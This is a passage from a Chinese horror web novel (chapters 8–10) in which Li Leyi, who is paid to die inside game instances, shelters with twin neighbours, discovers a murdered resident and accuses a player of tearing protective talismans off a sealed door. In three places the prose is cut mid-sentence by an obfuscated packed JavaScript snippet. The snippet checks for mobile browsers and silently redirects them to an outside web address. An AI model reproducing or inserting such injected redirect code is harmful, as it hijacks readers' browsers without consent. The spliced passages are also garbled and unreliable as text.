梨乐一:…… “遭——不幸——” “我的父,异乡丧——命——” 黑暗中,尖细的嗓音幽幽响起,像女人细长的指甲,锋利又悄无声息地将萦绕在周身密不透风的黑暗划开一道缝隙。 阴冷森寒的气息从这道缝隙里疯狂地涌进来,将梨乐一紧紧包裹住。 梨乐一心头狠狠一跳,暗道不好,来不及赶去十楼了。 作为一盏专业的副本冥灯,她现在万万不能死在楼道里,她得找出新的死法,才能在副本里做到发光发热,照亮剩下的玩家! 其实主要还是因为,如果梨乐一今天晚上以这样的作死方式死在楼道,等她出了副本,就没有报酬拿了。 因为她没有为副本的玩家们提供有效信息。 “可怜我,卖身烟花葬埋父身……” 那道声音似乎察觉到了梨乐一的存在,开始慢慢朝着梨乐一所在的四楼靠近。 梨乐一来不及多想,一边掏钥匙,一边迅速退回到门边。只可惜,那道声音的移动速度太快了,还没等梨乐一在黑暗中将钥匙对准锁孔,声音便已经来到她的头上。 就在梨乐一在心中悲愤这次副本大概要空手而归的时候,旁边传来一股力道,猛地将她一拉,随后一阵风从背后袭来,门在梨乐一身后关上,发出“咔哒”一声轻响,淹没在戏曲声里。 进屋后,手腕上的力道便松开了,梨乐一因为惯性踉跄了好几步才站稳。 她呆呆地站在原地,似乎还没有从刚才的生死一线中缓过神来。 男生越过她走进屋内,嘴上仍不放过她,轻嗤道:“都敢出门找死了,还知道害怕么?” 唱戏声已经来到了四楼,就在404门外徘徊,不过梨乐一看着黑暗中影影绰绰勾勒出的高大背影,倒是没有昨天晚上准备一个人赴死的时候那么害怕。 她放轻了脚步朝屋内走去,边走边用气音询问道:“她不会进来吧?” “她要是能进屋,你就不用自己每天晚上跑出去找死了。” 梨乐一:“……” 咱们能不能略过这一趴? 因为【怨】副本的限制,梨乐一不能向副本内的玩家还有NPC解释自己就是专门进来找死的,因此她只能硬着头皮承受男生的冷嘲热讽。 不过男生的话虽然句句往梨乐一心窝子上扎,但他还是回答了梨乐一的问题,那就是门外的鬼魂进不了屋子。 梨乐一稍稍放下心。 她能死在屋里,但是不能死在404的屋里,不然要是被成晖他们发现了,自己“死”后的清誉就不保了。 男生已经走到沙发旁坐下,梨乐一见状也准备跟过去。唱戏声一直在屋外徘徊,梨乐一一时半会还回不去,既来之则安之,梨乐一想坐着等。 404房间的格局跟1004是一样的,客厅和餐厅被走廊分隔开,走廊里是卧室和卫生间。 梨乐一经过走廊时,余光无意间往走廊里一瞥,看见走廊尽头一道黑影无声地立在那里。 记忆瞬间闪回白天在1004里看见林棠照片的时候,梨乐一愣在原地,寒意如嘶嘶吐信的毒蛇,沿着她的脚踝慢慢地往上爬。 刺骨的寒意紧紧地附着在皮肤上,渗透进肌理,梨乐一感觉自己的嗓子眼都被冻住了,想将这个不幸的消息告诉坐在沙发里,对此还毫无所觉的男生,只能一个字一个字艰难地往外蹦: “你……家……有……鬼……” 8. 情终 梨乐一害怕之余,还不忘在心里吐槽:这404住户看着挺靠谱的,怎么说出来的话这么不靠谱。 前一句还说鬼不会进来,下一秒鬼就搁走廊站着了,打脸也没有这么快吧。 就在梨乐一大脑拼命运转,想着到底是就这么认命死在404里,还是再挣扎一下往门外跑时。走廊里,那道身影突然晃了一下,然后朝着梨乐一走来。 梨乐一“救”字还没来得及说出口,那道身影已经走出了黑暗,光影变换间,勾勒出一张熟悉的、轮廓深邃的脸庞。 正是404住户的脸。 梨乐一震惊地瞪大眼,不敢置信地看向沙发里坐着的那道身影,而后又转头看回慢步从走廊走到自己身边的人,绝望地后退两步,喃喃道: “原来,你也是鬼……” 沙发里,男生听到梨乐一的话一动不动地坐着,而走廊里的“鬼”已经来到了梨乐一的身边。 梨乐一视死如归地闭上眼。 “呵。”耳边落下一声轻笑,“你从哪带回来这么个蠢东西?” 随着讥讽的话音落下,梨乐一感觉到一阵微风轻轻拂过面颊,再睁开眼时,发现那道身影经过她,走向了沙发坐下。 梨乐一看着沙发里两张除了头发长度不一样,五官一模一样的俊脸,后知后觉地反应过来:“你们两个,是双胞胎?” 头发稍微长一点的男生嗤笑一声道:“怎么?看着不像?” 梨乐一赶忙点头:“像,很像。”她心情复杂地走到单人沙发里坐下。 经过一番简单交谈,梨乐一得知,双胞胎中头发短的叫林丛,是哥哥,头发稍微长一点的叫林互,是弟弟。两兄弟不仅脸长得像,就连嘴都是师承一脉的毒。 林互看着梨乐一:“深更半夜来串门?挺有闲情逸致的,是不怕死,还是故意找死?” 梨乐一在林互漆黑目光的注视之下,后背渐渐开始渗出冷汗:“我不是……我就是……不小心……” 林丛哼笑:“嗯,不小心。” “‘不小心’打开了房间门,‘不小心’走出屋子,‘不小心’撞鬼,你要是‘不小心’死了,第二天尸|体被发现,可没有人会觉得你是‘不小心’。” 梨乐一:…… 门外不知道在什么时候安静了下来,唱戏的【怨】已经离开了。 梨乐一不由松了一口气。 林丛和林互都不是话多的人,你一言我一语地讥讽完梨乐一后,便靠在沙发里闭目养神。 房间里骤然安静下来,再加上光线十分昏暗,只要有一点动静都会被无限放大。 阳台上的纱帘突然被风轻轻吹起一角,坐在靠近阳台那侧的林丛随即似有所感地睁开眼。 他那双沉静的黑眸盯着纱帘看了一会,而后起身走到阳台,唰地一下将遮光帘全部拉起,屋内顿时陷入伸手不见五指的黑暗里。 冰冷寒凉的声音响起:“今晚她应该不会再来了。” 梨乐一闻言站起身,她还没有放弃“勇闯1004”的计划:“既然这样,我就——” “梨乐一,你去书房睡。” 林丛语气不容置喙,梨乐一本来还想挣扎一下,听到林丛的话后莫名熄了火:“哦,好的。” 因为白天仔细地看过1004的构造,所以梨乐一对于404屋内的构造也比较熟悉,她扶着墙一点一点摸索着朝走廊走。 很快她便摸到了一个门把手,正要转动,手背却覆上来一只温热的大手。 “这是我的房间。” 而后,那只温热的手掌就这么握着她的手,带她到了另一扇门前,将她的手放在门把手上,轻轻转动。 与手背源源不断传来的热度截然相反的冷淡声音响起,却又似乎比梨乐一刚进来时听到的声音多了些什么东西:“这里才是书房。” 梨乐一听出这是林互的声音,对他道了声谢后便开门进了房间。 书房里没有窗户,但好在沙发床就摆在门边,梨乐一一进门就踢到了,她摸索着在床上躺下,很快便进入香甜的梦乡。 第二天早上,梨乐一睡得正香时突然惊醒,她心跳很快,有种不太好的预感。 她起身走出房间,没有在空气中闻到血腥味,两间卧室的门都是紧闭着的,双胞胎应该还在睡觉,而客厅的遮光窗帘也让梨乐一分不清楚现在到底几点了。 她走过去把窗帘拉开,看见外面天才蒙蒙亮,估摸着时间刚过六点。 梨乐一轻手轻脚地走到某间卧室门前,想要开门确认一下里面人的状态,手握住门把手往下一扭。 门从里面锁住了。 梨乐一:…… 倒也不用这么防着她。 梨乐一不准备吵醒双胞胎,转身想走,门后却忽地响起靠近的脚步声。 “咔哒。” 门从里面打开。 男生头发凌乱,那双好看的桃花眼半眯着,长长的眼睫在眼下投下浓密的阴影,薄唇紧抿,脸上明晃晃写着三个大字——没睡醒。 这是弟弟林互的房间。 和昨天晚上相比,刚睡醒的林互身上没有了那种拒人千里的冷意,因为烦躁而皱起的眉眼也因此浮现出这个年纪男生独有的青涩稚气。 林互睁眼看到门口站着的梨乐一,笑了。 梨乐一后背一凉,赶紧解释:“我只是想确认一下你的状态,没有别的意思。” “别的意思是什么意思?”林互不留情面地反问。 “昨天晚上没让你得逞,所以今天早上又来?” 他似是从睡梦中被吵醒的,声音还未完全苏醒,沙哑中带着一点鼻音,像电流般快速窜过梨乐一耳廓,使得梨乐一的耳朵泛起微微痒意。 梨乐一有点无语,昨天晚上她真是不小心的。 “我只是想确认你和你哥是否还安全。” 林互轻嗤,越过梨乐一走向餐厅:“在这个房间里,只要你安安生生地待着,其他人就不会有危险。” 梨乐一听出来了,林互这是在拐着弯的骂她,她撇撇嘴,看在昨天晚上林互跟他哥好心收留自己一晚上的份上,不跟他计较。 外面天已经亮了,梨乐一不准备在404里多待,不然被其他玩家看见,她就算长一百张嘴都说不清楚。 梨乐一走到门边,回头对正给自己倒水喝的林互说了一声“谢谢”。 说完便开门走人,一秒钟也不多待。 林互仰头喝水,喉结上下滚动,听到关门声时,他放下水杯,安静地站在桌边,直到听到隔壁又传来一阵细微的关门声,他才转身往自己房间走。 回到403,梨乐一本来想睡个回笼觉,但她只要一闭上眼,心跳就会加速,来回折腾个几次就一点不困了。 梨乐一索性抱着面包片窝进沙发里放空。 七点,外面的天彻底亮了起来,梨乐一出门遇见了同样准备下楼的成晖,两人一齐下到一楼大厅等候。 虽然还未见到其他玩家,但梨乐一有种预感,昨天晚上应该出事了。 副本对于鬼魂的限制会随着的副本内时间的流逝逐渐减少,因此,在像成晖这样的玩家进入副本之前,楼内住户只要在唱戏声响起时,待在屋子里就会平安无事。 而在玩家进入副本之后,副本对于鬼魂的限制就会开始一点一点减少。 在副本里,玩家们不会有永远的“安全屋”,这点也让许多进入副本后想靠着“安全屋”混过去的玩家打消了消极任务的念头。 只不过梨乐一现在还不能确定待在屋子里时,触发死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286478|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡的具体条件是什么。 在副本里没有人会睡懒觉,梨乐一和成晖下到一楼之后,其余人很快也陆陆续续地来到一楼大厅集合。 住在801的刘默下来时脸色很差,眼中满是惊恐。 她一下来就拽住站在楼梯口的梨乐一问道:“你昨天晚上睡觉的时候,有没有感觉到有人在看你。” 梨乐一摇头。无论是在副本里还是副本外,她的睡眠质量都超乎寻常的好,通常脑袋沾上枕头后没几秒就彻底睡过去了。 刘默目光瑟缩地看向周围,不知想到了什么,她整个人突然剧烈地抖了一下:“昨天晚上,有人在我房间的窗户外看着我。” 昨天晚上刘默躺上床后没多久,意识便有些模糊起来。 她前一天晚上因为太过于紧张害怕没睡好,第二天又早起在外面四处奔波寻找线索,因此晚上天刚黑的时候,她便撑不住开始感到疲惫。 因为前一天晚上许宗良的死,大家推理出死亡条件之一是在唱戏声响起时离开房间,所以刘默推断晚上待在房间里是安全的,便放下警惕准备好好睡一觉。 可她迷迷糊糊刚睡着不久,便被尖细的唱戏声给吵醒了。 起先刘默并没有放在心上,她下意识地认为这和前一天晚上一样,是【怨】在楼道里游走唱戏。 可随着意识的逐渐清醒,刘默发现了一个令她脊背发凉四肢僵硬的事实。唱戏声不是从楼道里传来的,而是,从她的窗户外传来的。 意识到这件事后,刘默心脏剧烈地跳动起来,整个人也控制不住地开始发抖。她手脚冰凉,一动不敢动,只敢用余光去瞄。 但她睡觉的房间窗帘是遮光窗帘,布料十分厚重,她能听见唱戏声,却一点也看不见唱戏人的剪影。 戏曲里每一个拉长的音调都像是一把钝刀,在她脑中那根紧绷的弦上来回拉扯,折磨着她。 最后,刘默干脆自欺欺人地用被子捂住头,试图忽略窗外的唱戏声。 这个办法似乎有用,又或许是她运气好没有触发死亡条件,没过多久,那阵唱戏声真的消失了。 但刘默依旧不敢把被子拉下来,就这么把自己死死地捂在被子里熬过了漫长的夜晚。 直到闹铃声响起,刘默才终于揭开被子,劫后余生地长呼出一口气。 她视线无意间往窗边一扫,却发现昨天晚上睡前拉得死死的窗帘,此时此刻却多了一道半个拳头那么宽的缝。 日光从那个缝里照进来,落在刘默惨白的脸上,没有为她增添一丝一毫的温度。 她明明记得昨天睡前的时候,她特意将窗户关紧上锁,窗帘也是一丝缝隙都不留,怎么会……怎么会…… 难道说,昨天晚上她将自己蒙在被子里的时候,有什么东西拉开了窗帘,在窗户外默默地看着她? 可是她的房间在八楼啊,只要一想到这,刘默就止不住地发抖,抓着梨乐一的手力道也越来越大。 梨乐一回握住她。 “你说……”刘默面色惨白地开口,“会不会是因为昨天在1004里我看到了她的照片,所以她盯上我了?” 梨乐一摇头,语气平淡且客观地分析道:“要说看见我们都看见了,林棠的【怨】夜晚应该是随机挑选玩家,出现在那个玩家的房间窗外唱戏的。” “别害怕,你现在还活着,就说明你没有触发死亡条件,她只能看见你,但不能对你动手。” 刘默惊恐的脸色因为这句话好转了些许。 成晖点了一下人数,算上他和梨乐一,一共有八个人,少了一个人。 梨乐一扫了一眼周围人,立刻发现少的人是昨天在1004门口不听众人劝告,坚持要撕掉门上贴着的符纸的朱力栋。 “是204的朱力栋。” 9. 情终 朱力栋住在204,成晖正准备上二楼去看看情况,就听见楼道里传来一阵急匆匆的脚步声,众人看过去,正是迟迟没有出现的朱力栋。 朱力栋的脸色和昨天相比有些憔悴,眼下多出了一圈青黑,但整个人看上去倒不像是出了什么事的样子。 他额头上覆着一层薄汗,见众人都看着自己,胡乱擦了把汗,敷衍地解释道:“起晚了。” 梨乐一盯着朱力栋看了会儿,默默收回视线。 成晖见昨天晚上并没有玩家出事,不由松了口气:“大家都在就好。” 从一楼大厅离开,梨乐一心里揣着事,若有所思地往楼上走。上到二楼,她的视线不由自主地朝204门口看去。 她总感觉朱力栋有点不对劲,像是在瞒着大家什么事。刚才众人分开之前,梨乐一听到朱力栋跟身边的男玩家说自己要在小区里四处转转,短时间内应该不会回来。 不如趁着朱力栋外出寻找线索不在楼里,试试看能不能在204里找到点什么。 要是能撞见鬼或者触发死亡条件就更好了。 这次副本,梨乐一因为各种各样的“意外”,打破了自己在副本里生存最长时间的记录,居然活到了第三天! 她现在迫切地想要离开副本,拿到奖励。 恍惚间,她似乎听到了完成作死任务后奖励到账的声音,她嘴角不自觉地勾起,傻笑着去到204门口,掏出发卡,娴熟地插|进锁孔里。 门打开,梨乐一看清屋内景象后悚然一惊:“这……这是怎么回事?” 只见屋内窗帘紧闭,半点日光都透不进来,黑漆漆一片。 又因为照不到光的关系,屋内温度似乎比外面要低一些,梨乐一站在门口打了一个冷颤。 副本里但凡是正常的玩家,都不会希望自己住的屋子看上去阴森森的,巴不得太阳能全天二十四小时都对着自己的屋子照,根本不会在白天的时候拉起窗帘,让自己的屋子看上去像个鬼屋。 梨乐一看到屋内景象,便确定了朱力栋现在有事情瞒着他们,朱力栋昨天晚上或许也遭遇了和刘默差不多的事。 她伸手在玄关处的墙边摸索片刻,打开了屋内的灯,将大门虚掩起来。 进屋后,梨乐一视线一一扫过餐厅和客厅,没有什么奇怪或者是异常的地方。 她又走到客厅的窗帘边,慢慢撩开窗帘,明亮的日光落在她的指尖,驱散了附着在皮肤上的寒意。 客厅和餐厅都没有问题,梨乐一径直走向走廊尽头那间开着门的卧室。 卧室和客厅一样,窗帘紧闭,里头黑漆漆一片,梨乐一进屋之前照样先把房间的灯打开。 床单不算凌乱,但诡异的是,床上只有枕头,没有被子。 梨乐一在屋子里找了一圈,最后是在衣柜里找到了被揉成一团的被子,她有些诧异看着这团被子。 朱力栋昨天晚上居然是睡在衣柜里的。 梨乐一正盯着被子思索时,身后突然响起一阵窸窸窣窣的声音,随即她耳发毫无预兆地被一阵风轻轻撩起。 梨乐一大脑“嗡”地一声炸开。 她刚才在检查这间卧室的时候,特意先到窗边检查了一下,窗户是关着的。 既然窗户是关着的,现在又是哪里来的风? 梨乐一慢慢转过身,就看见身后一床之隔的窗帘被风高高扬起,而后悠悠落下,勾勒出一道紧贴着窗户站的瘦弱身影。 看身形应该是个女人。 林棠。 梨乐一呼吸停滞。 又害怕。 又兴奋。 她和窗户后林棠的【怨】相对而立了许久,林棠迟迟没有下一步动作。 梨乐一心跳在这种压抑沉闷、令人窒息的安静里越来越快,越来越重。 终于,她哆哆嗦嗦地开口: “你、你好……” “我叫梨乐一,今年24岁,住在、住在403……” …… 狭窄逼仄的房间在梨乐一的话音落下后,变得无比死寂。 窗帘后的林棠一动不动。 梨乐一深吸一口气,就像恐怖片里所有爱作死的炮灰一样,在这种危险惊悚的时刻不仅不跑,反而还要向着危险的源头慢慢靠近。 随着距离慢慢靠近,梨乐一看见了窗帘下露出来的那双青白没有血色的脚,脚上穿着一双满是血迹看不出原本颜色的平底鞋。 如果忽略平底鞋上的血迹的话,梨乐一觉得这一幕看上去倒也不算特别吓人。 她走到距离窗边几步远的地方后便停下了脚步,归根究底,这种跟【怨】脸贴脸对上的事情,无论做过多少次都会感到害怕。 梨乐一颤颤巍巍地伸出手,抓住窗帘,咬咬牙,猛地掀开。 窗帘后是紧闭的窗户,除此之外,再无别的什么东西。 林棠的【怨】莫名其妙地出现,然后又莫名其妙地消失了。 - “你怎么从朱力栋的房间出来?”梨乐一刚一拉开204的房门,便碰见了在楼里寻找线索的成晖。 梨乐一的手还有些凉,手心里全是刚才在卧室里面对林棠的【怨】时吓出的冷汗。 梨乐一关上204的门,靠在墙边一边平复着呼吸,一边一手叉腰,另一只手在空中点点点地说道:“朱力栋,朱力栋,他果然有问题。” 成晖:“怎么说?” 梨乐一:“他昨天晚上是睡在衣柜里的,而且卧室里的窗帘也被他给拉上了。” “他在躲着,或者是害怕什么东西。他昨天晚上应该遇见了和刘默一样的事情,只是不知道为什么,他选择隐瞒不告诉我们。” 梨乐一顺匀了在房间里调查时憋着的那口气后,便跟成晖继续朝楼上走去。 她一一向成晖讲述了自己在朱力栋房间里的所见,当然,言语中隐去了突然凭空出现的【怨】,以及她在卧室里的那段找死经历。 那道身影应该是林棠的【怨】没错。 梨乐一十分疑惑,为什么刚才在卧室里林棠不对自己下手,难道是因为现在还是白天,副本有限制的缘故? 那她刚才对着林棠的【怨】认真地做了一番自我介绍,晚上林棠应该会来找她……吧。 毕竟如果不来,她还得想出新法子作死,稍微有那么一点麻烦呢。 两人上到三楼,梨乐一视线无意地往301门口一扫,昨天晚上小南收拾出来的厨余垃圾仍摆放在门口。 梨乐一心中顿时升起一股古怪感。 经过昨天一番交谈和简单的了解,梨乐一得知小南是自由职业者,虽然不用每天早起去公司上班,但她依旧保持着早睡早起的优良习惯。 昨天早上,小南就是因为出门丢垃圾,想顺便给自己买个早饭,才会误打误撞发现电梯里死去多时的许宗良。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286479|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨乐一看了眼手表,现在已经快要九点了,比昨天小南出门丢垃圾的时间晚了整整一个半小时。 梨乐一盯着301门口的那袋垃圾,心里好不容易压下去的那种不安感,再次山呼海啸般朝她涌来。 她敲响了301的房间门。 门的另一边静悄悄的,一点动静都没有。 敲了半分钟没得到回应,梨乐一不再等待,掏出工具就开始撬301的门锁,成晖在旁边看着,没有阻止她。 几秒钟后,“咔哒”一声,门锁开了。 梨乐一按下门把手,慢慢拉开门,一股浓烈的血腥味瞬间从门缝里涌了出来。 她的心狠狠地沉了下去。 随着门猛地一下被拉开,倒在过道里的那具尸体也出现在了梨乐一和成晖眼前。 小南倒在血泊中,右手不自然地扭曲着伸向大门,她的上半身趴在血泊中,下半身则是被大力扭转成正面朝上的姿势,两条小腿以诡异的角度向外弯折。 那只从发缝里露出的眼睛惊恐地大睁着,似乎是在死前经历了什么极度恐怖的事情。 梨乐一看着这惊悚又血腥的一幕,嗓子酸涩无比,好半天才找回自己的声音:“她不是玩家,为什么会被副本里的【怨】盯上?” 成晖欲言又止,此刻也不知道该说些什么来安慰她。 梨乐一忽地想起什么,二话不说转身朝楼上跑。 成晖见状忙想跟上去,又怕同层楼的住户出门时看见屋内小南的尸体吓到,只能先将301的门掩上,然后才追着梨乐一往楼上跑。 梨乐一一口气跑到了九楼,砰砰砰就开始敲902的门。 “大婶,大婶,你在家吗?” “来了来了,大清早的什么事情这么着急?” 门内传出902大婶不耐烦的声音,梨乐一敲门的动作停下。 门打开,大婶一边穿外套,一边看向门外的梨乐一:“怎么了,出什么事了?” 梨乐一像是被兜头浇了一桶冰水,整个人的状态肉眼可见地变得萎靡,声音也随之低了下去:“没事。” …… 说完,梨乐一不管大婶像看神经病似看着她的眼神,转身下楼,回到301。 她手扶上门把手,深呼吸一口气后,拉开门走进去。 梨乐一小心翼翼地避开地上的血迹,在小南的尸体旁蹲下,伸手轻轻将她睁着的眼睛合上。 成晖挨着梨乐一蹲下,温声安慰她道:“你不用太过自责,902的大婶没有事,这说明小南的死和我们昨天找她询问消息没有关系。” 梨乐一擦着指尖沾到的血:“还是有关系的。” “也许就是因为我问她的那些问题,才会让她在不知不觉中触发了死亡条件。” 指尖的血迹怎么擦也擦不干净,梨乐一放弃了,垂下手,怀里突然精准落进一包湿巾纸。 “擦擦吧。” 梨乐一抬起头,就看见林互斜倚在玄关处的鞋柜那里,也不知道他为什么会出现在301房间里,是什么时候来的。 他对小南的死并没有表露出震惊或者害怕的情绪,视线平静地扫过地上小南的尸体,而后对上梨乐一看过来的视线。 那双黑眸里的光波动一瞬,长而浓密的眼睫垂下,像是在说一件微不足道的小事一般说道: “只要是住进这栋楼里的人,都会死,不过是早晚的问题罢了。” 10. 情终 成晖警惕地看着这个悄无声息出现在房间里的人,他忽地想起什么,指着林互道:“我见过你!昨天在楼下,你……你也是楼里的住户。” 林互没有搭理成晖,视线从始至终都只落在梨乐一的身上。 梨乐一没有反驳林互的话,默默和他对视了许久,才缓缓启唇道:“关于楼里的诡异事件,你应该知道些什么吧?” 梨乐一想起昨天晚上,林丛莫名其妙起身将客厅窗帘拉上的事,只要稍加深想,便能将其和朱力栋房间窗帘紧闭的情况联系在一起。 昨天晚上,林棠的【怨】或许也来过404。 林互对梨乐一的话不置可否。 梨乐一撑着酸软的腿站起来,转身朝屋内走:“既然知道些什么,为什么不试着搏一把,想办法离开这栋楼,而是就认命地待在这里,等着总有一天会找上自己的鬼魂终结自己的生命?” 梨乐一说完自己想说的话,没去看林互脸上现在是什么表情,开始打量起身处的301房间。 血迹只存在于客厅和餐厅,卧室里只是被子枕头十分凌乱,看得出来,小南是在睡梦中被惊醒,然后着急忙慌地跑出卧室,连鞋子都顾不上穿。 房间里的线索其实并不多,关键还是在小南昨天说过的话和做过的事情里。 902的大婶同样也和他们说了1004那对夫妻的事情,为什么【怨】没有找上902的大婶,也没有找上她和成晖,而是找上了小南呢? 梨乐一百思不得其解。 这边,待在301屋内的三个人心思各异,另一边,门外忽然传来一阵的对话声。 成晖经过仍旧站在玄关处,低垂着眼不知道在想什么的林互,推开门向外看去,见是两个女玩家正神色匆忙地从楼上走下来。 涂莉和郝雯早上和众人分开之后,先一起回到涂莉住的501吃了早饭,然后便想着在楼里找一找线索,这一找还真给她们发现了什么,两个人着急忙慌地下楼,想要赶紧将刚才的发现告诉其他玩家。 经过三楼时,涂莉率先发现从301的门内探出个脑袋看自己的成晖,立刻神情严肃地朝他走来。 “原来你在这里,楼上出——” 涂莉刚一靠近301的门便闻到了一股浓烈的血腥味,她诧异地问道:“怎么回事?” 成晖解释:“住在301里的住户死了。” 比起惊讶害怕,涂莉更多的是不解:“我记得她是楼里的原住民不是玩家啊,为什么【怨】会先找上她?” 成晖摇头,表示他也不知道,随后又问道:“你们呢,楼上发生什么事了。” 涂莉想起正事,脸色沉了下去:“我刚才和郝雯一起上到十楼,想看看在1004门外能不能发现什么。” “然后我们就发现,1004门上贴着的那几张符纸全都被人撕掉了。” 五分钟后,梨乐一成晖跟随涂莉郝雯回到了十楼,确认了1004门上贴着的几张符纸的的确确是不见了。 “那个……” 郝雯小心翼翼地往梨乐一身后瞥了一眼,凑到梨乐一耳边小声道:“你怎么把副本里的NPC都带过来了?他不会拖我们后腿吧?” 虽然这个NPC长得真的很帅,但这是在副本里,长得再帅又怎么样,命都要没了,谁还有心思去谈甜甜的恋爱。 郝雯话是凑到梨乐一耳边说的,但在场的所有人其实都听到了她的话。 作为当事人的林互对此发出了一声轻蔑的冷笑。 梨乐一虽然看不见林互脸上的表情,但莫名能感觉到他现在视线是落在自己身上的。 想起昨天晚上作死当场被抓的经历,她后背立刻冒起了一层鸡皮疙瘩,她赶忙将这个话题揭过:“不会的不会的,我们还是先关注一下符纸为什么会不见了这个问题吧。” 成晖摸着下巴略一思索片刻,说:“这些符从我们到这里开始便一直贴在门上,所以不可能是【怨】自己撕下来的,楼内的住户更是对1004避之不及,也不可能会撕……” 众人两相对视一眼,不约而同地想起了昨天白天他们进入1004时发生的事情。 朱力栋撕下了门上贴着的符纸。 他们现在大致可以确认,门上消失的符纸和朱力栋有关。再联想早上的时候,朱力栋姗姗来迟,说不定他就是为了来十楼撕符纸才迟到的。 成晖掏出手机,给不在这里的玩家发去信息,让他们赶快到一楼大厅集合,而后也领着梨乐一她们朝楼下走。 梨乐一跟林互落在最后。 “我不知道1004里曾经发生过什么。” 林互冷不丁开口,梨乐一疑惑地抬头看他,林互没看她,自顾自地说着:“我和我哥是楼里最后一户搬进来的人,我们搬进来的时候,1004已经被封起来了。” 梨乐一先是表情古怪地看着林互,而后才反应过来,林互是在回答她在301里问他的那些话。 林互淡淡地看了梨乐一一眼,继续道:“我和我哥只是对危险有预感,仅此而已。” 梨乐一听完林互的话,垂眸沉思片刻,突然意识到不对劲的地方:“不对啊,如果你们对危险有预知,为什么还会搬进这栋楼里来?” 既然林互林丛搬进来时,1004的夫妻已经死了,那他们兄弟俩到楼下的时候,多多少少应该也能感觉出来点什么吧,为什么还会选择搬进这里? 林互的目光落在梨乐一的脸上,那双桃花眼在听到梨乐一的问话后快速闪过一丝复杂的光。 片刻后,他垂下眼:“这种能力只对……在特定情况下才会触发。” “我们搬进来的时候,并没有察觉到危险。” 梨乐一还想再问些什么,但是已经到了一楼,许多玩家等在大厅里,见到他们纷纷围了过来,梨乐一只好暂且压下疑惑,专心副本里的事情。 成晖视线在围过来的人中寻找着,没有看见朱力栋的身影。 “朱力栋呢?”成晖问。 “急什么,这不就来了。”大厅外,朱力栋两手插兜不慌不忙地走进来。 郝雯是个沉不住气的,怒气冲冲地上前质问朱力栋:“1004门上贴着的符纸是不是你撕的?” 朱力栋冷哼一声:“我昨天当着大家的面撕的,大家都看见了,这还有什么好确认的。” 郝雯:“你别装傻,我说的不是昨天那张,我说的是10 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286480|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 04门上贴着的全部符纸,是不是你撕的!” “怎么回事?” 人群中还不知道1004发生了什么事情的人问道。 郝雯:“我早上跟涂莉上到十楼去找线索,发现1004门上贴着的所有符纸都被人撕掉了,成晖和梨乐一也看见了。” 迎着众人愕然的视线,成晖点点头,问朱力栋:“符纸是你撕的吗?如果是你就赶快交出来,趁着现在时间还早赶紧把它贴回去。” 朱力栋冷笑:“你们凭什么说是我撕的,你们亲眼看见了么?说不定是你们其中的某个人看见我昨天撕了符纸没事,才趁着大家不注意,跑到十楼把符纸全部撕了下来。” “你胡说八道些什么,明明就是你!除了你,没人敢碰那些符纸!” 郝雯本来就已经很生气了,听到朱力栋这么说,怒火噌地一下被点燃,冲上去就要跟朱力栋干架,被涂莉拦了下来。 朱力栋一副死猪不怕开水烫的样子,耸了耸肩,举起双手道:“不信的话你们可以来搜,看看符纸到底在不在我身上。” 成晖闻言没跟他客气,和另一个男生上去将他全身上下仔仔细细地搜查了一通,并没有找到符纸。 朱力栋语气轻蔑地道:“怎么样,我说的没错吧,刚才怀疑过我的人,是不是该给我道个歉?” 郝雯气不过,冲着朱力栋的方向啐了一口:“符纸不在你身上也不能说明不是你撕的,你肯定是把符纸藏在哪个地方了。” 梨乐一的视线隔着人群落在朱力栋身上,她想到什么,意有所指地开口:“那些符纸现在作用不明,把它带在身上是好是坏我们也不清楚,万一——” “那些符纸不是驱鬼的,而是招鬼的,岂不是得不偿失?所以保险起见,还是按照原来的样子,将那些符纸贴在1004的门上才是最安全的做法。” 朱力栋闻言目光闪烁了一下,很快又恢复了正常:“是啊,你们当中到底是谁撕了那些符纸,赶快交出来,免得大家把这么一口大锅扣在我头上。我可是清清白白,什么都没干的啊。” 梨乐一不错眼地看着他,现在百分之百能确定1004门上的符纸就是他撕下来的。 梨乐一猜测,自己之前在他卧室里撞见的【怨】,昨天晚上应该也出现在了同样的地方,朱力栋靠着1004门上撕下来的符纸躲过一劫,所以他今天早上才会上十楼把1004门上的符纸给全部撕了下来。 成晖见朱力栋现在咬死不承认符纸是他撕下的这件事,不欲在这件事情上浪费时间,先将小南的死告知了大家。 众人诧异于【怨】竟然会放着玩家不管对副本内的NPC下手时,朱力栋不咸不淡地开口:“不就是死了个NPC么?这么大惊小怪干什么,要我说,这些NPC能在这栋楼里住这么久,都不是什么省油的灯,最好离他们远一点。” 